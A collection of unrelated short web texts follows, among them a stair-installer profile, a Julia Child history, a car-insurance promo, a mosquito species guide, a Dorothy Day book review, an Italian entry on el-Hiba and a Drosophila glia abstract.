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Martin Stairways Crafts 1,700 Stair Systems 7-28-2020
Martin Stairways Crafts 1,700 Stair Systems
Curved, straight, or twisted. If you have a stairway system and live in Southern California, chances are very strong that Martin Stairways was your installer. Tackling up to 125 different stairway installations every year, the father and son team at Martin Stairway have installed more than 1,700 stairway systems in the last 15 years.
"I started this business three decades ago," says Martin Crandell, owner of Martin Stairways out of Santa Ana, Calif. "Then my son, Darren, joined in 2005. All we do is stairway installations for residential remodel projects.
"In Orange County, there are many houses from the 1970s. We get calls every day from people wanting to upgrade to a more contemporary stairway system or get rid of carpets on their stairs. Many younger couples buy an older home in this marketplace. Then they decide the railings are placed too far apart and could be a hazard for their children. They call us to upgrade the stairway systems for the sake of both style and safety."
Throughout the years, Crandell has relied primarily on just one company to supply him with all his stair parts and materials --- L.J. Smith® Stair Systems.
"Their plant in Corona, Calif. delivers right to us twice a week," says Crandell. "The service levels at L.J. Smith are very strong and the product has a consistent quality. My customers have a large selection of options to choose from with them. There's simply no reason for me to use any other manufacturer."
Recently, Martin Stairways stayed on top of design trends by installing several stainless steel interior architectural stair systems available in the Innovative Architectural Metal (IAM) Design line from L.J. Smith. The striking stainless steel tube, cube, cable, and glass systems are designed out of Malo, Italy by the Gonzato Group.
"These elegant stainless steel stairway systems are definitely catching on in our area," says Darren Crandell. "Once people see the streamlined look, they're hooked. It's exciting for us to work with metal and combine it with wood."
Today's Trends
According to the senior Crandell, modern, sleek looks are exactly what's popular in stairway systems on the West Coast right now.
"We used to do lots of rail systems with scrolling," says Martin Crandell. "That's been replaced now by people looking for more simplistic styles. Plus, we've also witnessed the popularity of white oak skyrocketing in the past few years.
"White oak combined with stainless steel creates a beautiful stairway system. Another great marriage is walnut and stainless steel. These are popular trends on the West Coast that we believe will migrate east in the very near future."
To keep up with the newest styles, the Crandells stay in touch with their L.J. Smith sales team. "For us, L.J. Smith is the very best option we have to offer our customers," says Crandell. "We appreciate the quality of the product along with a variety of customization opportunities."
Finding Their Calling
A licensed general contractor for more than 30 years, Crandell "stumbled" into his career specialty of stairways.
"I was on a job decades ago where the stair guy quit," says Crandell, who also has an interior carpentry license in California. "The contractor pointed at me and told me to finish the stair job. That was my start.
"I learned to do curved stairs, which everyone likes. Then I just keep fine-tuning my skills and getting better at my job. When you're on a job site, the stair guy is seen as an artist. Other contractors always stop to watch what we're doing because it's such a specialized skill."
As his business grew, Crandell welcomed his son to the company. "I helped train Darren and he learned on the job," says Crandell. "Stairway creation is craftsmanship at its finest. We understand that each system we create becomes a physical feature of a home. That's an important responsibility that we take seriously."


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Hey there fish fans! No fly fishing blog or forum would be complete without a shout out to fellow bloggers, good sites for reference, or gear/gear-modifications tracking. This page is ever a work in progress- so don't be upset if your site appears to be 'out-of-ranks'. AirborneAngler has you accounted for, just take a knee, drink some water, and wait-out. You're on the radar and we'll be getting to you soon.
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The First Food Julia Child Taught Viewers To Cook On TV
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Whether you consider yourself a superb at-home chef or have gone to culinary school, the long-told tale of exquisite celebrity chef Julia Child must have hit your ears a time or two. It's sadly true that she is no longer around to show us how to make some of the best examples of French cuisine out there, as she died in 2004 (via TODAY). However, the impact of her career is still felt today.
According to Eat This, Not That! Julia didn't begin cooking until she met her husband while they were both working for the Office of Strategic Services (the precursor to the CIA). Within two short years of meeting, the two wed. But why is Paul credited with helping her become a culinary icon? Because he introduced her to French cuisine. And though Julia wasn't the first-ever American chef who trained in France, she would soon prove to be one of the most influential.
Although Julia graduated from Le Cordon Bleu in 1951 and released her first cookbook, Mastering the Art of French Cuisine, a decade later (via Delish), it wasn't until 1963 that her critically-acclaimed show, The French Chef, would debut. And while she taught onlookers and admirers how to create a number of delicious meals throughout the show's 10-year run (via WGBH), the origins of her show are surprising. Here's what Julia Child cooked that convinced producers to give her a shot at her own show.
Julia Child landed her own show after making a staple French dish on another show.
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Prior to landing her show, which PBS notes was the very first cooking program to air on the network, Julia appeared on a number of shows to promote her previously released cookbook (via Eat This, Not That!). According to History, it was during her appearance on the PBS show I've Been Reading — a show ostensibly focused on books — when she did something a little different.
Child showed up to the shoot and, instead of sitting and chatting, prepared an omelet right on set. Thanks to this unexpected demonstration, viewers quickly became admirers of the charismatic chef and her cheerful acceptance of her own kitchen mishaps. They soon wrote in to the station celebrating Julia's work. Boston's WGBH television station quickly offered her a deal. And, as many would say, the rest was history.
Now, almost 50 years since The French Chef aired its last episode, the iconic chef is still ready to teach us something new. Delish notes that HBO Max is currently developing a show based on her life. Aptly titled Julia, the show will focus on both Child's life story and of her now-iconic PBS series, while also delivering " a portrait of a loving marriage with an evolving and complicated power dynamic." And, since it's based on the entirety of her life, maybe we'll even get to see a reenactment of that life-changing omelet that helped her become a household name.


Have you thought it impossible to acquire cheap car insurance quote? Have you become skeptical of insurance companies that promise to save you money and time? After all you have run through the whole nine yards: numerous visits to your insurance agents, scouring through yellow pages for car insurance quotes, dropping by and wasting time sitting in the lobbies of insurance companies. In the end your quest for cheap car insurance quotes turned into a pipe dream. You feel the futility of investing so much time and money just looking around.
All is not lost. Your past experieces of wasted time and energy do not mean you have to continuously end up receiving uninspiring auto insurance quotes. If you know how to go about it in a new way, you will have more cheap car insurance quotes coming at you than you know how to handle.
The car insurance industry is highly competitive, no different from other businesses. If you have been searching for cheap car insurance quotes from your local offices, you should now branching out your search into the Internet. A goldmine of car insurance quotes is literally waiting for you there.
Everything you need about cheap auto insurance quotes can be had on the Internet. Just visit some car insurance websites and you will find all the information you need, including cheap car insurance quotes. When you watch the TV, keep an eye out for insurance companies' corporate ads too, making sure to note down their website address.
If you can walk the yellow pages, you can surf the Internet. Just start clicking away and soon you will have so many car insurance price lists to compare around with. Look at all the different policies, coverage and prices. You can then easily choose the cheap car insurance quote that best suits you and your car.
It is so convenient to shop online for cheap car insurance quotes. And doing it from the comfort of your home saves you time, money and the frustrations of calls and visits to your friendly dealer.
Just about every car owner wants to save money on car insurance. Ken Charnley helps you do just that on his budget car insurance website where he gives tips on how to save money on car insurance.


The Australian government and the US state of Michigan have signed a memorandum of understanding (MoU) to develop vehicle and road systems to help improve road safety.
Michael McCormack, deputy prime minister and minister for infrastructure, transport and regional development, says the agreement is part of a strategy to position Australia for safer roads through automated and connected vehicles.
"This is just one way the government is promoting safer vehicles on safer roads, including for our regions where road crashes remain unacceptably high," McCormack adds.
Rick Snyder, governor of Michigan, says the partnership will share research and knowledge in the development and deployment of intelligent vehicle transportation.
"Ensuring the safety of connected and autonomous vehicles is paramount, and that will require a truly global approach to testing and validating the technology, as well as addressing the regulatory and policy environment those efforts operate in," Snyder adds.
The MoU supports links between the University of Melbourne's AIMES (Australian Integrated Multimodal EcoSystem), an integrated technology programme with a live test bed on Melbourne's streets and Michigan's Mcity and American Center for Mobility offroad facilities.
Michigan state is a strong advocate of ITS through its technology innovation facilitator, PlanetM, which awarded its first mobility grant to transport software firm Derq earlier this year. Derq's V2X software applications are used at an intersection in Detroit, Michigan to predict and prevent accidents.
• Sharing scientific, technological, regulatory and policy data, co-hosting meetings, workshops and conferences between Michigan and Australia as well as other countries.
• sharing best practices in skilled trades and workforce development programmes.
• Developing new programmes to address emerging technology needs.
• The creation of a joint task force to provide advice on strengthening Michigan and Australian technology clusters and connecting key coordinating bodies.
Andrew Broad, assistant minister to Australia's deputy prime minister, says Australian research institutions and industries can establish better links with international counterparts under the MoU.


RandomizedMEstimatorSampleConsensus represents an implementation of the RMSAC (Randomized M-estimator SAmple Consensus) algorithm, which basically adds a Td,d test (see RandomizedRandomSampleConsensus) to an MSAC estimator (see MEstimatorSampleConsensus).
RMSAC is useful in situations where most of the data samples belong to the model, and a fast outlier rejection algorithm is needed.
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For the past six years, one of my chief priorities at City Hall has been to make the Committee of Adjustment (CoA) more effective, accountable and transparent.
In 2014, I placed multiple motions intended to overhaul the Committee of Adjustment, recommending professional training for CoA members, better engagement of residents and improvements to the public notices and notification process.
This year, there are plans to hold training sessions for CoA members in all four districts. This training will focus on the Neighbourhoods policy of the City's Official Plan to ensure that CoA members are more attune to and respectful of the needs and desires of our local neighbourhoods.
City Planning is also planning to host a roundtable discussion this year with resident groups in each district to discuss outreach strategies and how the CoA can be more accessible and user-friendly. As a result of recent meetings I've had with Planning staff, the notice sign is also being redesigned to make it more visible and staff are exploring other strategies to improve the public notice process altogether.
I've long advocated for the audio-visual recording of CoA meetings, which finally came to fruition last fall. Currently, the city is working to enable live-streaming of CoA panels on Planning's Youtube page by the end of the summer, this will increase the accountability of the CoA and allow residents to follow the proceedings in real time..
Warm wishes to everyone celebrating #Passover this evening. Chag Sameach!


I came up with three chords after I found out my friends dad killed himself. I took the chords over to my friend Paul Masi (Magic Maker. We had never played together before, I had only been playing for 2 months. He hit record on our first take this is what happened. Masi Magic!!!!!
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Suburban Garden was built to guarantee business on the streetcar line. The Suburban Garden lifespan was very short compared to the other parks of the day, such as Highlands or Delmar Garden. Suburban Garden was a long rectangle shaped park. The Suburban Scenic Railway ran parallel to the Hodimont Street streetcar right-of-way and formed the east border of the park. Just past Kennedy Avenue was where the streetcar made its loop under the scenic railway to drop off people at the park. Suburban Garden was short on mechanical attractions, but did possess a scenic railway, carousel, and Circle Swing. The park relied on its many covered pavilions for band recitals, a dance hall, and seven ornate fountains to keep the customers satisfied. The park was bordered by Kienlen Avenue on its west side.
St. Louis had 8 amusement parks in its' history. That's more than any other city in the US! Bob Haefner sent me this shot from a Google map showing footings left from Suburban Garden. It's sort of ironic that the only remains of a park left, are from one of the oldest parks in the city.


Once again another self-serving celebrity has opened his mouth and said something cruel and insensitive. Today's it's Johnny Depp on his first trip to China.
My expectations were very high. From the very first second, I was impressed. It's beautiful, the foliage is different, the styles of architecture are different.
I would love to make a film here and spend time here. I could live here, easily. It's a very warm experience.
The megalomaniacal dictators and governments just love people like Depp because those celebrities are guaranteed a top notch experience in that country so they can come back to the Western world to brag about it. It's a nice way for global assholes to thumb their noses at the Western governments that frequently chide them.
China is using you, Johnny, like you used the Native American culture to make a terrible movie last summer.
Maybe Depp should talk to this guy first to get the real scoop on life in China, although no one ever learned this guy's name or knows if he's even alive today. (Probably not.) Depp could learn a lot of things like how China has oxymoron free speech policies. China is also the global leader in executions, and that number is on the rise. China has a terrible record on women's rights, but Depp is a man so he'd never have to worry about that. Careful, Jack Sparrow! Don't breathe in the air because 16 out of 20 of the world's most polluted cities are located in China. It's a good thing Depp is a celebrity and making mad cash because over 70% of the Chinese population lives on less than $5 a day. One thing Depp wont' have to worry about is torture because the police supposedly stopped doing that.
But Depp wouldn't be aware of any of this because he's a celebrity and not a regular citizen. Perhaps this is why he he gets to be so cavalier about how "easy" it is to live in China. I wonder how the half million individuals who are currently detained without official charges or a trial in China feel about Depp's glib assessment.


On Sunday, April 17 we will host a Easter Egg-stravaganza that will begin at 4 pm. We'll have egg hunts beginning at 4:30, games, bunnies to pet, and The Varsity will be providing meals and dessert for $4. We need your help in donated plastic eggs and candy by this Sunday, April 10.
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Data Center Operations Require Increasing FM, IT Collaboration
By Edward Sullivan, Editor
OTHER PARTS OF THIS ARTICLEPt. 1: Allstate Aims for Improved Reliability and Flexibility with New Data CenterPt. 2: Commissioning: Best Way to Ensure Data Center ReliabilityPt. 3: This Page
The basic idea is easy enough to understand: The best way to design and operate data centers — to ensure that they are highly reliable and cost effective — is close collaboration between facility executives and their IT counterparts.
The concept may be easy to understand, but it's not so easy to put into practice. Historically, the two departments have been separated by conflicting priorities, differing organizational cultures and divided budgets.
Slowly but surely, however, FM and IT are coming together. "I'm not so bold as to say there is no problem," says Jill Eckhaus, CEO of AFCOM, an association that provides education and resources for data center managers. "But we're well on the way to being where we need to be."
So what triggered the change? Forces beyond the control of either department, say experts. "There's a huge issue with cooling," Eckhaus says. Although blade servers have come to symbolize the issue, the challenges of cooling data centers go beyond any one technology. Higher densities and hotter equipment have raised costs and sometimes pushed HVAC systems to the brink.
Meanwhile, top management has taken a new interest in data centers. Whether it's because of soaring energy costs or corporate green initiatives, data center managers now find themselves being asked what they're doing to save energy.
Of course, facility executives can relate. "They're kind of getting into each other's territory," says Eckhaus. That's not necessarily the best way to start a partnership, but it's actually working out. "What I've see over the past five years is that they really are talking to each other. As time goes by and they start working together even more, they'll realize that's the best way to do it."
Nowhere is collaboration more important than in the design of a new or expanded data center. A crucial step is having a joint budget. "That eliminates a lot of arguments," says Eckhaus. She recommends that FM and IT go to top management together and make the case for a joint budget — a case based on business needs. "If they can speak the language of the business, they can go a long way together," Eckhaus says.
— Edward Sullivan, editor
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Female mosquitoes deposit eggs singly or in rafts on or near standing water. These eggs are very small, and hatch within a few days.
Mosquito larvae emerge from mosquito eggs. They float near the water surface where they can breathe, but may move in a wriggling motion when disturbed. Mosquito larvae feed on microorganisms and other debris in water.
Native to Africa, but found in many tropical and subtropical regions worldwide. Bites humans during the day. Capable of transmitting yellow fever, dengue fever, and chickunguna viruses (the risk of these viruses is low in San Mateo County).
Present year-round. Breeds in foul or polluted water. Feeds on birds and mammals, including humans. Readily enters buildings and bites indoors. Can transmit West Nile virus, Western Equine Encephalitis, and St. Louis Encephalitis.
Adults emerge in March and remain active through June. Breeds in coastal salt marshes but may fly up to 20 miles. Bites aggressively during the day. May become a major pest to humans.
Adults are active late spring into the fall. Breeds in tidal or reclaimed marshes, but may fly long distances. Aggressively bites during the day. Can be a major pest to humans and a secondary vector for Western Equine Encephalitis.
Adult activity peaks in the summer months. Breeds in natural and man made polluted waters. Feeds primarily on birds but may rarely bite humans. May transmit St. Louis Encephalitis.
Adults are active in June and July. Breeds in fresh water with cattails and tules. Feeds on large mammals, including humans, after sunset. Transmits encephalitis viruses.
There are many flying insects that look similar to mosquitoes and may be mistaken for mosquitoes. These insects can be annoying at certain times of year but unlike mosquitoes, they do not bite and cannot transmit disease. The District does not usually control these insects because they are not a threat to public health.


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Dorothy Day's Early Years: Crusading Journalist in the Fetid Tenements of New York
Russell Shaw - published on 05/26/16
A new compilation of the young Day's articles as a cub reporter for the American Socialist Party sheds light on her life before her conversion
It wasn't so much the look of poverty as she saw it a century ago in the teeming tenements of New York that outraged Dorothy Day as it was the smell. Many years later in her autobiography, The Long Loneliness, she described it like this:
"The smell from the tenements, coming up from basements and areaways, from dank halls, horrified me. It is a smell like no other in the world and one never can become accustomed to it. I have lived with these smells now for many years, but they will always and ever affront me. I shall never cease to be indignant over the conditions which gave rise to them…. It is not the smell of life, but the smell of the grave."
Then Day added something startling: "As I walked these streets back in 1917 I wanted to go and live among these surroundings; in some mysterious way I felt that I would never be freed from this burden of loneliness and sorrow unless I did."
The future co-founder of the Catholic Worker movement, whose cause for canonization as a saint has reached the stage of a canonical inquiry into her life in the Archdiocese of New York, arrived there in 1916 after dropping out of the University of Illinois. Only 18, she already had a burning desire to help the poor as a crusading journalist.
The New York Call was a good place for her to start. As the newspaper of the American Socialist Party, the Call was as open to advocacy as it was to reporting, and this cub reporter fit in from the start. Between November, 1916 and April, 1917 the Call carried 36 bylined pieces by Day along with an unknown number of anonymous articles by her.
Now the bylined items have been reprinted with an informative commentary in a volume titled An Eye For Others, Dorothy Day, Journalist: 1916-1917 (Washington, Clemency Press). These pieces shed light on a largely ignored formative period in Day's long, luminous life, showing her as a young woman who, in the words of compiler and commentator Tom McDonough, is at one and the same time "sarcastic, humorous, energetic, and sardonic"—and never less than deeply committed.
This is apprentice work, yet with memorable flashes of passion and power. As in this, dated November 30, 1916:
"In a two-room flat on 11th Street, a man of 48 lies wheezing and moaning all day. He cannot eat anything, because there is something the matter with his stomach and with his lungs, and every once in a while blood pours out of his nose and mouth. He could drink milk but milk is now 10 cents a quart. And the only money that is coming into the house is the $5 a week that his wife earns in a restaurant as helper in the kitchen….
"So, when the rent is to be paid, and when the doctor prescribes medicine for the sick man the family must go hungry. They need coal now and some food. Today is Thanksgiving."
Other sketches concern things like an angry picket line, a grim night court, an unsought wee-hours cab ride with a lascivious taxi driver, and other glimpses of the big city's underside.
Day's religious conversion then lay years in the future, but the makings of a woman of extraordinary courage and compassion are already visible in this early writing. Some saints are formed in castles, others in convents; Day's houses of formation, it appears, were the fetid tenements of New York.


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El-Hiba (alternativo: el-Hibeh; Arabo الحيبة) è nome moderno della antica città egizia di Taiu-djayet
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facente parte del 18º distretto dell'Alto Egitto, conosciuta anche con il nome di Tendjoi, e attualmente inserita nel governatorato di Beni Suef.

La città, il cui nome originale significa i loro muri in riferimento alla massiccia cerchia muraria che la circondava fu nota in epoca copta come Teudjo e durante il periodo greco e romano come Ankyronpolis.

Nel periodo di tempo tra la fine della XX dinastia e la XXII dinastia el-Hiba fu una città di frontiera che segnava la divisione tra l'Egitto controllato da sovrani regnanti da Tanis e le regioni governate dal clero tebano di Amon attraverso la figura del Primo Profeta. A tale periodo risalgono le mura che trasformarono la città in una fortezza.  Sui mattoni usati per la costruzione sono stati rilevati i nomi di Primi Profeti Herihor, Pinedjem I e Menkheperra.

Nel corso della XXII dinastia Sheshonq I costruì un tempio dedicato ad Amon sulle cui pareti venne incisa la lista delle città conquistate durante la prima campagna di vittorie in Palestina. La decorazione del tempio venne poi completata dal figlio, Osorkon I.

Note

Bibliografia
Franco Cimmino, Dizionario delle dinastie faraoniche, Bompiani, ISBN 88-452-5531-X
Alan Gardiner, La civiltà egizia, Einaudi, ISBN 978-88-06-18935-8

Altri progetti

Siti archeologici egizi
Siti archeologici del Governatorato di Beni Suef
città egizie

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import org.apache.flink.api.common.functions.CrossFunction;

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Scottish mobile and web technology business, SwarmOnline, has strengthened its senior management team with the appointment of Simon Mone a client services manager.
Mr Mone joins from Scottish Enterprise where he was an innovation specialist advising senior management teams and boards across all business sectors on aspects of R&D, innovation and commercialisation of new products.
He is an economics graduate from Strathclyde University and holds post-graduate diplomas in information management and information technology with web technologies. He also completed the Massachusetts Institute of Technology Entrepreneurship Development Programme and formerly sat on the Scotland IS board representing SMEs.
SwarmOnline founder and managing director, Andrew Duncan, said: "At this stage of our growth and development I'm delighted to welcome someone of Simon's background to the team.


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The longitudinal glia (LG), progeny of a single glioblast, form a scaffold that presages the formation of longitudinal tracts in the ventral nerve cord (VNC) of the Drosophila embryo. The LG are used as a substrate during the extension of the first axons of the longitudinal tract. I have examined the differentiation of the LG in six mutations in which the longitudinal tracts were absent, displaced, or interrupted to determine whether the axon tract malformations may be attributable to disruptions in the LG scaffold. Embryos mutant for the gene prospero had no longitudinal tracts, and glial differentiation remained arrested at a preaxonogenic state. Two mutants of the Polycomb group also lacked longitudinal tracts; here the glia failed to form an oriented scaffold, but cytological differentiation of the LG was unperturbed. The longitudinal tracts in embryos mutant for slit fused at the VNC midline and scaffold formation was normal, except that it was medially displaced. Longitudinal tracts had intersegmental interruptions in embryos mutant for hindsight and midline. In hindsight, there were intersegmental gaps in the glial scaffold. In midline, the glial scaffold retracted after initial extension. LG morphogenesis during axonogenesis was abnormal in midline. Commitment to glial identity and glial differentiation also occurred before scaffold formation. In all mutants examined, the early distribution of the glycoprotein neuroglian was perturbed. This was indicative of early alterations in VNC pattern present before LG scaffold formation began. Therefore, some changes in scaffold formation may have reflected changes in the placement and differentiation of other cells of the VNC. In all mutants, alterations in scaffold formation preceded longitudinal axon tract formation.


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Published on October 11th, 2022 | by University of Mississippi
Derek Stephens Named State Star for Small Business Development Center
Assistant director assists business owners with customized market research
Derek Stephens, a new assistant director at the Mississippi Small Business Development Center at the University of Mississippi, has been named the 2022 Mississippi State Star.
State Stars are chosen annually, one per state from among the employees of the Small Business Development Center. A State Star is an exemplary performer, must make a significant contribution to his or her state SBDC and shows a strong commitment to small business.
During the annual America's Small Business Center Development Centers' national conference in San Diego, State Stars from around the country were celebrated on stage Sept. 6 at the general assembly.
"Being selected as this year's State Star has been truly humbling," Stephens said. "Our network is full of knowledgeable, incredible business professionals. This award is just as much of a testament to the hard work our business counselors and center directors do to ensure our clients are successful."
Stephens, an Ole Miss graduate and a native of northeast Mississippi, came to the Mississippi SBDC from the banking industry in 2018. He started as a business counselor in the north Mississippi region and within a year began to assist with technology commercialization efforts as part of a partnership with the university's technology transfer office.
During his time with the tech transfer office, he assisted UM faculty members with business startups born from their research at the university.
"It was around fall 2019 that I began to recognize my interest in market research," he said. "When the COVID-19 pandemic began, we knew we had to adapt as an organization to meet the evolving needs of the client.
"I was promoted to market research specialist in March 2020 to develop a systematic approach to assisting clients with customized market research reports."
Stephens' work in market research has aided clients all over the state, helping them make data-driven decisions using the individualized high-level market reports he has compiled. He has worked with more than 60 clients just in the past fiscal year.
"Derek is the ultimate team player and I am so excited that he is our State Star for 2022," said Mitch McDowell, a fellow assistant director of the Mississippi SBDC. "His work ethic, leadership abilities and commitment to excellence are such an asset to our team.
"He went above and beyond this past year and no one deserves it more."
Stephens completed his MBA from the UM School of Business Administration this summer. While taking classes, he also stepped up in March 2022 to serve as interim assistant director responsible for market and brand strategy for the network. The position became permanent this summer.
"I couldn't be more thrilled about Derek Stephens being named State Star for 2022; he is truly the future of our organization," said Sharon Nichols, Mississippi SBDC state director. "Every time we asked him to do more, he did so with enthusiasm and without hesitation."
The Mississippi SBDC state office is housed on the Ole Miss campus. The organization has more than 20 sites and centers across the state that offer business services, workshops and webinars, and one-on-one business counseling for any business owner or aspiring business owner.
An accredited member of America's Small Business Development Centers, the Mississippi SBDC is funded in part through a cooperative agreement with the U.S. Small Business Administration through the university. To learn more about the no-cost business workshops, technical assistance and one-on-one business counseling offered, visit http://www.mississippisbdc.org.
By Michelle Thompson
Derek Stephens (center), assistant director at the Mississippi Small Business Development Center, is congratulated on being named the 2022 State Star by his wife, Carrie (left), and Sharon Nichols, Mississippi SBDC director. Photo by Michelle Thompson/Mississippi SBDC
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Tags: America's Small Business Center Development Centers, Derek Stephens, Mississippi, Mississippi small business development center, Mississippi State Star, Mitch McDowell, Ole Miss, Sharon Nichols, University of Mississippi
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Washington, D.C. : Government Printing Office, 1886
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PLNU Students Semester Development Project for CSC324


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